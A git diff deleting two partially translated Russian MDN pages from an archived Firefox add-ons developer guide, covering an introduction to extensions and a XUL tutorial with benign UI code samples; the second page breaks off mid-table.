diff --git a/files/ru/firefox_addons_developer_guide/introduction_to_extensions/index.html b/files/ru/firefox_addons_developer_guide/introduction_to_extensions/index.html deleted file mode 100644 index 18f93ceece..0000000000 --- a/files/ru/firefox_addons_developer_guide/introduction_to_extensions/index.html +++ /dev/null @@ -1,163 +0,0 @@ ---- -title: 'Глава 1: Знакомство с расширениями' -slug: Firefox_addons_developer_guide/Introduction_to_Extensions -translation_of: >- - Archive/Add-ons/Overlay_Extensions/Firefox_addons_developer_guide/Introduction_to_Extensions ---- -
- {{ Draft() }}
-

{{ PreviousNext("Firefox_addons_developer_guide", "Firefox_addons_developer_guide/Technologies_used_in_developing_extensions") }}

-
- Note: If you want contribute to this document please following guidelines from the Contribute page.
-

This document was authored by Hideyuki Emura and was originally published in Japanese for the Firefox Developers Conference Summer 2007. Emura-san is a co-author of Firefox 3 Hacks (O'Reilly Japan, 2008.)

-

Введение

-

Если вы читаете это руководство, то, вероятно, уже использовали Firefox до этого. Возможно после знакомства с Firefox, вы были удивлены тем, что это приложение имеет более простую структуру, чем другие навороченые браузеры, такие как Opera или Safari.

-

Какие возможности сейчас считаются стандартными для браузеров? Возможно такие вещи, как тонкая настройка табов, мышиные жесты, множество панелей инструментов и кнопок, расширяющих возможности, RSS-читалка, интеграция со множеством веб-приложений или современные инструменты для помощи с созданием веб-страниц? Но мы не ставили перед собой задачу создать браузер все-в-одном, который может удовлетворить всех.

-

Вместо этого, Firefox может получить дополнительную функциональность при помощи расширений. Сам браузер ограничен основной функциональностью, чтобы новичек мог без проблем разобраться в его работе, остальные, кто хочет что-то кроме этого, могут установить расширения.

-

О расширениях

-

Управление расширениями при помощи менеджера дополнений

-

Менеджер дополнений Firefox - прекрасный способ в управлении расширениями и большой шаг вперед в простоте использования.

-

-

Менеджер дополнений выполняет следующие задачи:

- -

Удобство среды разработки

-

Первоначально, не было компетентной документации, и разработчики расширений были предоставлены самим себе1; однако сейчас накоплена большая база знаний.

-

Так как Firefox и его расширения разрабатывают с поддержкой многоязычности, прекрасные образцы расширений приходят со всего света и могут быть локализованы любым человеком, кто в этом заинтересован.

-

This lowers the threshold both to using and to developing extensions; that fact, combined with Firefox's rapidly growing popularity, has created a positive feedback loop, with the number of extension users and extension developers growing explosively—сейчас на сайте расширений Firefox(https://addons.mozilla.org) опубликовано более 7000 расширений и тем.

-

Что можно делать при помощи расширений

-

Давайте рассмотрим какие возможности могут добавить расширения и несколько примеров расширений.

-

Расширения с одной функцией

-

{{ TODO("Update this") }}.

-

Вот относительно простые расширения, которые добавляют одну возмжность.

-
-
- Text Link
-
- Makes it so that double-clicking on an unlinked URL follows that URL.
-
- Undo Closed Tabs Button
-
- Добавляет кномку на панель для открытия большинства недавно закрытых вкладок журнала.
-
-
-
- 1211576231.png
-
-
-
- Locationbar
-
- Separates a URL’s domain and path in the location bar for easier reading.
-
- locationbar.png
-
-

Feature enhancing extensions

-

{{ TODO("Update this") }}.

-

Эти расширения предоставляют функции, которые расширяют имеющиеся в Firefox.

-
-
-
-
- Tab Mix Plus
-
- Offers detailed tab-related settings.
-
- PrefBar
-
- Gives access to numerous preferences from the toolbar.PrefBar.png
-
- NoScript
-
- Enables and disables JavaScript execution on a site-by-site basis.
-
-

Web application integration extensions

-

{{ TODO("Update this") }}.

-

The use the APIs of certain web applications to provide certain pieces of information.

-

Forecastfox.png

-

New feature extensions

-

{{ TODO("Update this") }}.

-

Extensions can add completely new features to Firefox. This class of extension requires a greater level of knowledge and programming ability.

-
-
- GreaseMonkey
-
- UserChrome.js
-
- Both of these provide an environment for running user scripts (JavaScript) in Firefox itself, where the scripts can target specific websites.
-
-
-
- Adblock Plus
-
- Blocks the display of unwanted advertisements on web pages.
-
- All-in-One Gestures
-
- Adds mouse-gesture functionality.
-
-

Расширения уровня приложения

-

{{ TODO("Update this") }}.

-

Это сложные расширения, которые могутThese are sophisticated extensions that can be considered full-scale applications in their own right, по существу используя Firefox в качестве платформы разработки.

-

Firebug.gif

-

One-trick gag extensions

-

{{ TODO("Update this") }}.

-

There are a number of one-trick gag extensions that aren’t very useful.

-

Shiitake Mushroom (1).png

-

This is a very brief survey of a few extensions, but there are many other unique extensions available.

-

Table 1: Advanced customization methods for Firefox

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Customization MethodDoes it work for web sites?Does it work for Firefox?
User style sheets (change appearance through CSS) -

Yes; you can change the userContent.css file, or use the Stylish extension.

-
-

Yes; you can change the userChrome.css file, or use the Stylish extension.

-
User scripts (change appearance and functionality through JavaScript) -

Yes; you can use the GreaseMonkey extension or "bookmarklets."

-
-

Yes; you can change userChrome.js to add functionality through JavaScript.

-
Extensions (these can do anything)YesYes
Theming (this changes the look of the browser)NoYes
-

Let's build an extension

-

Таблица 1 показывает различные способы настройки доступные ползователям в Firefox. Table 1 shows the various customization options available to a user in Firefox. Users have flexible customization options, using CSS in user style sheets and JavaScript/DOM in user scripts (these depend on Stylish, GreaseMonkey, and userChrome.js).

-

В дополнение к CSS и JavaScript, расширения могут использовать преимущества технологий XUL и XPCOM для юолее сложной функциональности. Темы, изменяющие внешний вид Firefox являются одним из типов дополнений.

-

Для создания расширения, вам необходима идея и немного способностей к программированию. Следующая глава подробно объясняет технику написания расширений одного из ведущих авторов расширений. We encourage you to try your hand at it as well.

-
-
- 1 One of the authors of this special edition, Piro, is world-famous as one of the original developers.
-
-
-
-

{{ PreviousNext("Firefox_addons_developer_guide", "Firefox_addons_developer_guide/Technologies_used_in_developing_extensions") }}

diff --git "a/files/ru/firefox_addons_developer_guide/introduction_to_xul\342\200\224how_to_build_a_more_intuitive_ui/index.html" "b/files/ru/firefox_addons_developer_guide/introduction_to_xul\342\200\224how_to_build_a_more_intuitive_ui/index.html" deleted file mode 100644 index bc0404bdbc..0000000000 --- "a/files/ru/firefox_addons_developer_guide/introduction_to_xul\342\200\224how_to_build_a_more_intuitive_ui/index.html" +++ /dev/null @@ -1,695 +0,0 @@ ---- -title: 'Глава 3: Знакомство с XUL - Как построить интуитивный интерфейс' -slug: >- - Firefox_addons_developer_guide/Introduction_to_XUL—How_to_build_a_more_intuitive_UI -translation_of: >- - Archive/Add-ons/Overlay_Extensions/Firefox_addons_developer_guide/Introduction_to_XUL—How_to_build_a_more_intuitive_UI ---- -

{{ Fx_minversion_header(3.5) }} {{ Draft() }}

-
- Note: If you want to contribute to this document please follow the guidelines on the Contribute page.
-

{{ PreviousNext("Firefox addons developer guide/Technologies used in developing extensions", "Firefox addons developer guide/Using XPCOM—Implementing advanced processes") }}

-

 

-

This document was authored by Hiroshi Shimoda of Clear Code Inc. and was originally published in Japanese for the Firefox Developers Conference Summer 2007. Shimoda-san is a co-author of Firefox 3 Hacks (O'Reilly Japan, 2008).

-

Перед тем, как изучать как разрабатывать дополнения, давайте рассмотрим XUL - основанный на XML язык пользовательского интерфейса (UI), который является одним из строительных элементов для дополнений.

-

Introduction

-

An overview of XUL

-

XUL is an XML-based language, and was developed to be the GUI markup language for the Mozilla browser. There are earlier experiments going back a long way in developing user interfaces using a combination of HTML and scripting languages, and XUL could be considered an evolutionary step from that. Similar approaches are found in XAML, which is used in Windows Vista, and Flex, which is used in Adobe Flash. Like web pages, which display the same regardless of platform, applications marked up in XUL will work the same in any environment where Firefox runs.

-

Because HTML was originally conceived as a language for marking up documents, specifically web pages, it is inevitably lacking in functionality for marking up applications. XUL, on the other hand, was conceived from the ground up as a markup language for user interfaces, and makes it possible to insert UI components with sophisticated features just by writing tags, without any particular scripting.

-

Unlike languages with formal specifications that have been standardized by bodies like the W3C, XUL currently does not have an explicit specification.

-
- Note: Although there is a specification document, its markup is based on implementations and markup as of 2001, and current XUL differs from it in many aspects. For the latest XUL specifications, please see the XUL Reference on MDC and the XUL page in the Mozilla wiki.
-

For each element that I explain in this chapter, I will illustrate it with a source code example. You can type these examples up and open them in Firefox to see how they behave and appear. You can download a file with all the source code examples from: {{ TODO("Attache the translated tarball - Paul Task !") }}.

-

XUL display methods

-

XUL is used almost exclusively in Mozilla applications like Firefox and Thunderbird, and extensions for them, but other web browsers based on Firefox or the Gecko engine, and even web-based content also used XUL. For example, there is the Mozilla Amazon Browser, which helps with shopping at Amazon, and the Presentation Method in XUL, a tool for writing and displaying presentations

-

To try out the code samples in this chapter, save them as text files with .xul extensions and drag and drop them into the Firefox browser window.

-

{{ TODO("Explain how setting this option and use next listings") }}

-

If we want to run Firefox displaying none of its GUI and only the contents of a certain XUL file, we can launch Firefox and set the option: -chrome file_URL.xul

-

Another way, as shown in Listing 1, is to use the window.openDialog() method, which can be used only within a XUL window. This is used by extensions to open a separate window.

-
window.openDialog('another.xul', '_blank','chrome,all,dialog=no'); 
-

Listing 1: Opening a window without the Firefox GUI

-

XUL as an XML application

-

Listing 2 shows an example of a GUI definition file marked up in XUL (a "XUL document"). The root element in XUL is generally the "window" element. The namespace URI is :

-
http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
-
-

If the character encoding is UTF-8, both the encoding specifier and the XML declaration can be omitted. But for the samples in this chapter, please include them. 

-

Because a XUL document is also an XML document, it can contain XHTML, SVG, MathML, and other elements; if you use external entity references, the XML document's contents are modularized; combined with other XML-related technologies, such as DOM, XLink, or XSLT, you can use it for a number of different applications.

-
<?xml version="1.0" encoding="UTF-8"?>
-<?xml-stylesheet href="chrome://global/skin/"?>
-<window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
-  <!-- Contents go here. -->
-</window>
-
-

Listing 2: General structure of a XUL document

-

Even with the internationalization of Firefox and extensions, this kind of XML function is being used.

-

Reading in style sheets

-

XUL uses CSS to specify the appearance of its elements. Again, since XUL is a type of XML, stylesheets are read in using the xml-stylesheet processing instruction.

-

On line 2 of Listing 2, we’re reading in the theme’s standard style sheet. By referring to a special style sheet within chrome://global/skin/, we can make label and button sizes, window background color, etc, match the currently selected theme in Firefox. We can also read in a stylesheet that we had set up ourselves.

-

The XUL box model

-

In principle, XUL lays out all UI components using combinations of two kinds of boxes: horizontal and vertical. As shown in Listing 3, elements can be laid out horizontally using the hbox (horizontal box) element or vertically using the vbox (vertical box) element. When this file is opened in Firefox, it is displayed as shown in Figure 1.

-
<label value="Horizontal layout"/>
-<hbox>
-  <button label="horizontal1"/>
-  <button label="horizontal2"/>
-</hbox>
-<label value="Vertical layout"/>
-<vbox>
-  <button label="vertical1"/>
-  <button label="vertical2"/>
-</vbox>
-<label value="mixed"/>
-<hbox>
-  <button label="mixed1"/>
-  <vbox>
-    <button label="mixed2"/>
-    <button label="mixed3"/>
-  </vbox>
-  <button label="mixed4"/>
-</hbox>
-
-

Listing 3: Horizontal and vertical boxes

-

-

Figure 1: Output of Listing 3

-

There is also a grid element, which can be used for layouts similar to those achieved using the HTML table element, a stack element for layering other elements, and so on. All on-screen widgets are laid out using these boxes, making complex interface designs possible.

-

Common attributes

-

Before we look at the various interface objects, let's look at some of their common attributes, especially the frequently used ones.

-
id and class
-

The attributes id and class fill the same role that the XHTML attributes of the same names fill. id is used to define a unique name for an element, and class is used to classify elements; both of these provide convenient ways to refer to elements in CSS and JavaScript. There are also special kinds of element that only come into play after being referenced by another element.

-
orient
-

Whether a box's contents will be vertically or horizontally arrayed depends on the elements in their initial state. You can explicitly set or change this layout using the orient attribute, with options for horizontal and vertical.

-
align and pack
-

The align and pack attributes both specify the layout of elements within a box. They can both take the values start (top or left), center, end (bottom or right), or stretch (extend this element to match the element with the greatest height or width).

-

The align attribute is defined as operating in the axis perpendicular to the orient attribute, while the pack attribute operates along the same axis as the orient attribute. Figure 2 shows how setting align="center" pack="start" on two elements will result in completely different output with the only difference being the value for orient.

-
<box flex="1" align="end" pack="end">
-  <button label="Happy"/>
-  <button label="Sad"/>
-</box>
-

Listing 2: How align and pack respond to orient

-

-

 

-

Figure 2: Output from listing 2

-
flex
-

Elements ordinarily have fixed height and width. The flex attribute indicates that an element should be expanded to take up all of a window's height or width.

-

flex takes a positive integer as a value, which is a growth multiple on the axis of the parent element's orient attribute. For example, flex="1" indicates that the element should extend to fill that axis; if there are two elements with flex="1" in a row, they are adjusted to be of equal size. You can assign flex="2" (or higher values) as a size multiplier for elements. In Listing 4, the second label will be displayed twice as big as the first (Figure 3).

-
<hbox>
-  <label value="label1" flex="1" style="border: 1px solid;"/>
-  <label value="label2" flex="2" style="border: 1px solid;"/>
-</hbox>
-
-

Listing 4: Growing with flex

-

-

Figure 3: Output of Listing 4

-
ordinal
-

Within a XUL box, elements will ordinarily be laid out following their order of appearance in the source code (laid out left to right or top to bottom). Use the ordinal attribute to alter their order. The ordinal attribute takes positive integer values, which are used to order the box’s layout—in the example in Listing 5, the buttons would be laid out in the order button3, button2, button1 (Figure 4).

-

If multiple elements have the same ordinal value, they will be laid out in the same relative order they appear in the source code. The default value for ordinal is 1.

-
<vbox>
-  <button label="button1" ordinal="3"/>
-  <button label="button2" ordinal="2"/>
-  <button label="button3" ordinal="1"/>
-</vbox>
-
-

Listing 5: Changing order with ordinal

-

-

Figure 4: Output of Listing 5

-
box size
-

You can set the size of XUL elements explicitly using the width and height attributes, as shown in Listing 6. If you are creating elements that can grow using the flex attribute, you can also set minimums and maximums using minwidth, minheight, maxwidth, and maxheight. These all use pixels as the unit of size.

-
<button label="Button" width="200" height="100"/>
-
-

Listing 6: Setting the size of a button

-

Also, as shown in Listing 7, you can embed CSS inline into elements via the style attribute, which allows you to set sizes using units other than pixels.

-
<button label="Button" style="min-width: 10em;"/>
-
-

Listing 7: Setting the size of a button using CSS markup

-
hidden and collapsed
-

The hidden and collapsed attributes act as switches to turn off the display of elements.

-

Setting hidden="true" disables display of that element. This has the same effect as setting display: none in CSS. You would use this to set a hidden or absent state, for example items that aren't displayed in contextual menus.

-

Setting collapsed="true" sets an element's height and width to 0, but the element is treated as being present. This is equivalent to setting visibility: collapse in CSS. Use this to "roll up" sidebars that aren't currently in use.

-
disabled
-

While not appropriate for all elements, you can use the disabled attribute to temporarily disable input to an element that is normally operable by the user. Typically, elements with the disabled="true" attribute will appear as either transparent or pale gray.

-
- Note: With attributes like hidden, collapsed, and disabled, which take Boolean values, setting disabled="false" in XUL can have unintended consequences. This is because there may be cases where a script or CSS rule will be written in such a way that they treat the value as true unconditionally if any value has been set. So when changing the attribute’s value using a DOM function for example, do not use setAttribute('disabled', false) — instead, use removeAttribute('disabled').
-
tooltiptext
-

Use the tooltiptext attribute to display a brief explanatory tooltip above the element. The text entered as the value for this attribute is what gets displayed as the tooltip.

-
persist
-

The persist attribute is an easy way to record and store a XUL element’s state after it has been changed by a user operation. Enter the names of the other attributes whose values you want to store as a space-delimited ASCII string into the value for persist; the next time that XUL document is opened, the saved values will automatically be restored4. The settings system, which we will explore in Chapter 4, makes it possible to save simple states without any complex scripts.

-
- Note: These values are stored in localstore.rdf, inside the user profile.
-

In order for the persist attribute to record the states of other elements, each of those elements must have its id set. 

-

Widgets that can be used in XUL

-

Root elements

-

XUL documents use different root elements for different purposes. In this section, we’ll look at three typical types of root element: the window, page, and dialog elements.

-

Root elements use the windowtype attribute as an arbitrary identifier for the type of window. For example, Firefox uses the windowtype navigator:browser for its browser window and Browser:Preferences for its options dialog. Using methods we will cover in Chapter 4, we will see how windows can be acquired using these values as keys.

-

A window's dimensions and location on screen can be specified using the attributes width, height, screenX, and screenY (all using pixels as units). With the previously discussed persist attribute, you can easily store a window's size and location. Firefox uses this method to store its own window sizes and locations as well.

-

General root elements

-
window
-

The window element that has appeared in examples so far is a root element used to define an ordinary window. This displays the same kind of window used for the Firefox browser window, the bookmark manager window, and many other windows. You can generally use the window element as your root element.

-
page
-

For sidebar panels and other XUL documents that are opened within inline frames, use the page element as the root element. Apart from having a different intended purpose than the window element, it is functionally no different.

-

Root elements for dialog windows

-
dialog
-

Use the dialog element when creating options dialogs, confirmation dialogs, etc. This element takes a number of attributes, and can easily be made to display controls (buttons, etc) using widgets and layouts native to whatever platform it is running on.

-

For example, Windows places the OK button on the left and the Cancel button on the right, while Mac OS X has the opposite layout. This is what Firefox itself uses for bookmark properties and other dialogs.

-
Buttons used in dialog windows
-

A dialog element will display some number of buttons at its bottom. As shown in Table 1, there are four types of buttons that can be displayed, and you can set the names of the buttons you want to display as a comma-delimited list in the value of the buttons attribute.

-

{{ TODO("Make the table cleaner") }}

- - - - - - - - - - - - - - - - - - - - - - - -
Button nameDescription
acceptThe OK button.
cancelThe cancel button.
helpThe help button.
disclosureEither a disclosure triangle or a button.  This is used to allow the user to toggle the display of additional information.
-

Table 1: Types of buttons that can be displayed in the dialog element

-

Additionally, there are two special button names, extra1 and extra2. The labels for these buttons are set using the buttonlabelextra1 and buttonlabelextra2 attributes on the root element, which take arbitrary strings as their values.

-

The action taken when pressing one of these buttons is defined by an event handler with the name ondialog<button name>. If these event handlers are not defined, pressing either the accept button or cancel button will simply close that dialog. Listing 8 shows a simple dialog example, and Figure 5 shows its output.

-
<?xml version="1.0" encoding="UTF-8"?>
-<?xml-stylesheet href="chrome://global/skin/"?>
-<dialog xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
-    title="My Dialog" buttons="accept,cancel"
-    ondialogaccept="saveValues(); window.close();"
-    ondialogcancel="window.close();">
-  <checkbox label="My Option"/>
-</dialog>
-
-

Listing 8: A dialog

-

-

Figure 5: Output from Listing 8

-
- Note: The functions behind the dialog elements discussed here require "XPConnect privileges," which are discussed in Chapter 4, so this example will only run correctly if it can run as Firefox code itself or installed extension code. Please be aware that if you attempt to open this sample directly in Firefox, it will not run correctly.
- -

Hierarchically structured dropdown menus are the part of the user interface used for frequently accessed functions in an application or web service. In the past, a combination of HTML and JavaScript was used to produce this sort of complex UI structure, but in XUL, it can be handled easily just by writing tags.

-

Creating the menu

-

Listing 9 shows how the menu element and its related elements are combined. This produces the output seen in Figure 6.

-
<menubar>
-  <menu label="Menu 1">
-    <menupopup>
-      <menuitem label="Item 1"/>
-      <menuitem label="Item 2"/>
-      <menuseparator/>
-      <menuitem label="Item 3"/>
-      <menu label="Submenu">
-        <menupopup>
-          <menuitem label="Item 4"/>
-          <menuitem label="Item 5"/>
-        </menupopup>
-      </menu>
-    </menupopup>
-  </menu>
-</menubar>
-
-

Listing 9: A menu definition

-

-

Figure 6: Output from Listing 9

-

Each item in a menu is marked up with the menuitem tag. Use the menuseparator element to insert a separator bar that groups items together. Both menu and menuitem elements take the label attribute to set their labels.

-

Insert menu elements into a menubar element to create multiple menus. You can easily create hierarchical menus by inserting menupopup and menu elements.

-

You can even display icons in menus by adding class="menuitem-iconic" to a menuitem element, along with a src attribute that gives an image URI. Figure 7 shows an example of how this is displayed.

-

-

Figure 7: Menu items with icons

-

Executing commands when selecting menu items

-

Much like dynamic HTML, event handlers are used to execute a command when a menu item is selected. To respond to mouse and keyboard inputs in HTML, the onclick event handler is typically used to respond to mouse clicks, and the onkeypress event handler for keyboard input.

-

XUL can also use these event handlers, but XUL also offers the oncommand special event handler to deal with actions that often have specific meanings, such as selection by a left-click (or right-click on systems set up as left-handed) on the mouse or selection by the Enter key. Listing 10 shows an example of the oncommand event handler in use. Apart from menuitem elements, it can be used with buttons and other input controls.

-
<menuitem label="Open project page" oncommand="loadURI(this.value)"
-      value="http://mozilla.org/"/> 
-

Listing 10: The oncommand event handler

-

Because the Gecko engine implements DOM Level 2 event handlers, you can define dynamic event listeners such as the one in Listing 11.

-
var item = document.getElementById('menu-item-custom');
-function handleCommandEvent(aEvent) {
-  alert('OK');
-  item.removeEventListener('command', handleCommandEvent, false);
-  item.parentNode.removeChild(item);
-}
-
-item.addEventListener('command', handleCommandEvent, false);
-
-

Listing 11: Additions and deletions using a dynamic event listener

-
Special menu items
-

Much like input elements in HTML, menuitem elements can operate like checkboxes and radio buttons by setting their type attributes.

-
checkbox
-

Adding type="checkbox" to a menuitem element will check that when it is selected, and uncheck it if it is selected again. For an example of menu items with checkboxes, see the View menu in Firefox, with items to show or hide the toolbar and sidebar. When one has been checked, then the checked="true" attribute is set.

-
radio button
-

Assigning type="radio" to multiple menuitem elements and setting them to have the same name attribute groups them so that selecting one deselects all the others, much like radio buttons in HTML. For an example of this kind of menu item, see the Character Encoding submenu of the View menu in Firefox. The selected radio button has the selected="true" attribute set.

-
Contextual menus
-

The context attribute is used to display a contextual menu or shortcut menu, that is, a custom menu that will appear when right-clicking on an element.

-

Earlier we placed the menupopup child element inside a menu element; here, we use it outside the menu element. Instead, the menupopup element is a direct child of the root element and we invoke it using its id attribute, which we set as the value for the context attribute on any other XUL element. When we right-click on that XUL element, we reference that menupopup element by its id, and display its contents as a contextual menu. Listing 12 shows an example.

-
<button label="Send" oncommand="send();" context="button-context"/>
-<menupopup id="button-context">
-  <menuitem label="Send with new tab" oncommand="sendInNewTab();"/>
-</menupopup> 
-
Buttons
-

Buttons that users can click on are defined using the button element. To show one with an icon as shown in Figure 8, define an image's URI as the value for the image attribute.

-
- Note: To see this sample in operation, use any image as the one to display and place it in the same folder as the XUL document.
-

Using the icon attribute instead of the image attribute allows you to display buttons with icons that are standard for the platform.

-

Possible values for the icon attribute are given in Table 2.

-

-

Figure 8: A button with an image

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
icon attribute valueicon attribute value
acceptclose
cancelprint
helpadd
openremove
saverefresh
findgo-forward
cleargo-back
yesproperties
noselect-font
applyselect-color
-

Table 2: Values for the icon attribute

-
Toolbar buttons
-

The toolbarbutton element is the element used to define toolbar buttons. This is typically placed inside a toolbar element, which defines a toolbar, but it can be used in other locations.

-

These mostly act the same as button elements, but as shown in Listing 13, you can change the behavior of toolbarbutton elements using the type attribute. This is illustrated in the output in Figure 9.

-
<toolbar>
-  <toolbarbutton label="Checkbox Type" type="checkbox" image="firefox.png"/>
-  <toolbarbutton label="Menu Type" type="menu" popup="button-popup" image="firefox.png"/>
-  <toolbarbutton label="Menu Button Type" type="menu-button" popup="button-popup" image="firefox.png"/>
-  <menupopup id="button-popup">
-    <menuitem label="Item 1"/>
-    <menuitem label="Item 2"/>
-    <menuitem label="Item 3"/>
-  </menupopup>
-</toolbar>
-
-

Listing 13: Various toolbar buttons

-

-

Figure 9: Output of Listing 13

-
- Checkbox-type toolbar buttons
-

Specifying type="checkbox" results in a button that stays depressed when clicked, and pops up when clicked again. The button in its depressed state has checked="true" set. This is the kind of button used for the History and Bookmark buttons that can be used to customize the toolbar.

-
- Menu-type toolbar buttons
-

Specifying type="menu" and adding a menupop child element (In Firefox 3, you can also use the panel element), or setting the popup attribute to reference a popup menu located elsewhere by its id, will display a popup menu when the button is pressed. Here, the button-click itself is not taken as the input; instead, a command event is issued only when a popup menu item is selected. This is the type of button used for the List All Tabs button at the right edge of the tab bar.

-
- Menu-button-type toolbar buttons
-

Specifying type="menu-button" results in a special button that combines features of both a normal toolbar button and one with type="menu", so that clicking the button itself does issue a command event. This is the type of button used for the Back and Forward buttons.

-

Input Controls

-

XUL includes a number of input control elements that are very similar to HTML's form-related elements.

-

Labels

-

Use the label element for individual text labels, such as descriptive text. The value of the value attribute is the text that will be displayed. The control attribute takes as its value an id reference to another XUL element with that id; clicking that label or giving it focus can be used to pass the focus to the referenced XUL element.

-

This can also be used to display longer chunks of text. If you want to insert long strings that automatically wrap to the window’s width, you can use the flex attribute as shown in Listing 14, which will automatically expand it; in this case you don't set the value using the value attribute, instead you should place it in the contents of the element. Figure 10 shows the output from this listing.

-
<hbox>
-  <label flex="1">
-  Proceeding with this action will send your personal information to a server. Are you sure you want to proceed?
-  </label>
-</hbox>
-
-

Listing 14: Handling long text in a label

-

-

Figure 10: Output from Listing 14

-
Shortening labels
-

Between the label element and the label attribute on other XUL elements, there can be a lot of labeled elements in XUL. A common attribute that can be set on all of them is the crop attribute.

-

By applying the crop attribute to elements with the label attribute set or to the label element, part of the label will be replaced by an ellipsis (…) if it overflows the width of the parent element. The part of the label that gets cropped can be controlled by setting its value to start, center, or end.

-

You can set the maximum width of the box using the CSS max-width property.

-

Checkboxes

-

The checkbox shown in Figure 11 was marked up using the checkbox element. When it is in its checked state, its checked attribute is set to true.

-
<checkbox label="Checkbox checked" checked="true"/>
-<checkbox label="Checkbox unchecked" checked="false"/>
-
-

Listing 11: Checkboxes in different state

-

-

Figure 11: Output from listing 11

-

Radio Buttons

-

Radio buttons in HTML are multiple input elements grouped by assigning them all the same name attribute. In XUL, this is expressed using a combination of two elements: radiogroup and radio. You set exclusive options by inserting multiple radio elements into the content of one radiogroup element; the currently selected radio element will have selected="true" set.

-

The radio element can be uniquely identified by setting its value attribute. When that radio element is selected, the value of its value attribute is copied to the radiogroup, so that you can check for the selected radio button simply by fetching the radiogroup element’s value attribute.

-

There may be situations where you want to locate a radio element outside of a radiogroup element. By combining it with hbox and vbox, you can write code similar to that shown in Listing 15, which will produce output as shown in Figure 12.

-
<radiogroup orient="vertical">
-  <hbox>
-    <radio label="Top Left"/>
-    <radio label="Top Right"/>
-  </hbox>
-  <hbox>
-    <radio label="Bottom Left"/>
-    <radio label="Bottom Right"/>
-  </hbox>
-</radiogroup>
-
-

Listing 15: A complex layout of radio buttons

-

-

Figure 12: Output from Listing 15

-

Text boxes

-

Use the textbox element to accept text input. In HTML, there are two separate elements—input for one line of text, and textarea for multiple lines. But both these functions are handled by textbox as shown in Listing 16, which produces output as shown in Figure 13.

-

The textbox element uses the value attribute to set its default content; content entered by the user also can be captured using the value attribute. To set a maximum length in characters, declare the maxlength attribute with a positive integer value. Setting type="password" will turn the textbox into a special password-entry field, in which characters are hidden as they're typed.

-

Every character entered into a textbox generates an input event. If you use the oninput event handler, you can implement commands that reflect user input in real time.

-
<vbox align="start">
-  <textbox/>
-  <textbox multiline="true" rows="5" cols="15"/>
-</vbox>
-
-

Listing 16: textbox examples

-

-

Figure 13: Output from Listing 16

-
Autocomplete
-

Adding type="autocomplete" to a textbox element enables an automatic completion function for it.

-

Note that to actually use this function, you must also specify a search target for the autocomplete text using the autocompletesearch attribute. If you want to use the Location Bar history, set the value for this to history; if you want it to be the Search Bar history, use search-history; and if you want it to be another form’s input history, use form-history; this attribute can take one value or multiple space-delimited values.

-

Also, in order to actually read in a history for autocomplete, you will need XPConnect privileges, which we will cover in Chapter 4.

- -

Use the menulist element to create a control for making selections from a drop-down list. As shown in Listing 17, this is implemented in combination with the menupopup element; it produces output as shown in Figure 14.

-

A click reveals the drop-down list; when an item is selected, the values of that item’s label and value attributes are copied to the label and value attributes of the menulist element itself. By default, the first menu item is selected, but any menu can be preselected by adding selected="true" to it.

-
<menulist>
-  <menupopup>
-    <menuitem label="Item 1" value="1"/>
-    <menuitem label="Item 2" value="2"/>
-    <menuitem label="Item 3" value="3"/>
-  </menupopup>
-</menulist>
-
-

Listing 17: A menulist example

-

-

Figure 14: Output from Listing 17

-

By adding editable="true" to the menulist element, you can accept arbitrary text input in addition to a list selection, as is often used on font selection menus in word processors.

-

Special elements

-

Embedding images

-

In addition to writing direct JavaScript code in event handlers, XUL also allows you to embed scripts using a script element, just like in HTML; this can be used to read in an external script or to place the code in the script element's content.

-

If you are embedding a script in a page, you should bracket your code inside a CDATA section as shown in Listing 18; this will avoid errors caused by mistakenly reading "&" and other characters as the beginnings of entity references.

-
<script type="application/javascript"><![CDATA[
-  var nodes = gBrowser.mTabContainer.childNodes;
-  for (var i = 0; i < nodes.length; i++)
-  alert(nodes[i].label);
-]]></script>
-
-

Listing 18: Embedding a script in XUL

-

Note: Although embedding JavaScript is permitted, it's generally encouraged that you instead place your JavaScript code in an external file.

-

Browser and tabbrowser

-

XUL allows you to use inline frames. You can set the src attribute of an iframe element to the URI of another XUL document or web page, and it will be displayed there. But iframes are rarely used in XUL—in practice, the browser element is used more often.

-

The browser element is essentially a more powerful version of an inline frame, equipped with all the basic functions of a web browser. Unlike an iframe, a browser element has the ability to navigate backward and forward through pages and includes the ability to prevent scripts in embedded frames from accessing outside the frame. For building applications linked to external web pages, this is a more secure and more convenient approach.

-

The tabbrowser element is even more capable than the browser element because it includes the basic tab-handling features from Firefox. To use this requires XPConnect privileges, the same as autocomplete does; this will be covered in Chapter 4.

-
Opening a page
-

If you specify a URI value for the src attribute in the browser element, that URI will be opened by default. If the src attribute's value changes, you can dynamically open a different web page or XUL document.

-

Functions like Back, Forward, Reload can all be called using the goBack(), goForward(), and reload() methods. Using the stop() method stops loading the page currently in the process of being opened.

-
Access restrictions
-

With frames defined using HTML's frame and iframe elements, it is possible for a child frame to access its parent and ancestor frames by getting the parent and top properties of window objects. For an application that can open any web page, this could give a script on a web page access to an XUL document's frame, creating a dangerous opening for personal information to leak out.

-

In the interests of security, you can enforce access restrictions by declaring type="content" on a browser element. When you do this, any web page that gets opened will see itself as the topmost frame. If you are developing an application with an interface that can open web pages, I recommend that you always use this declaration to limit access to the parent frame.

-

In certain circumstances, you may want to declare type="content-primary". A browser element with this declaration is treated as a special browser among other XUL documents, such that the window object displaying its web page can be accessed using the window.content property. In Firefox itself, the content region of the active tab is declared as a browser element with type="content-primary".

-

Keyboard shortcuts

-

To implement keyboard shortcuts (pressing a key while holding down modifier keys like Control or Shift.) in a DHTML-based interface, you need a script that will intercept keyboard inputs.

-

In XUL, you can define keyboard shortcuts simply by using the key element, as shown in Listing 19.

-
<key id="key-save" key="s" modifiers="accel,shift" oncommand="save();"/>
-<key id="key-scroll-up" keycode="VK_PAGE_UP" oncommand="advanceFocus(-1);"/>
-
-

Listing 19: Defining keyboard shortcuts

-

To make letters, numbers, symbols, or the space bar act as triggers, declare that character as the key attribute’s value. You can use either uppercase and lowercase letters and they will be handled the same.

-

For triggers on other special keys, use the keycode attribute with the appropriate keycode name value. In general you can use the keycode name for any key; the most commonly used ones are shown in Table 3.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
KeyKeycode name
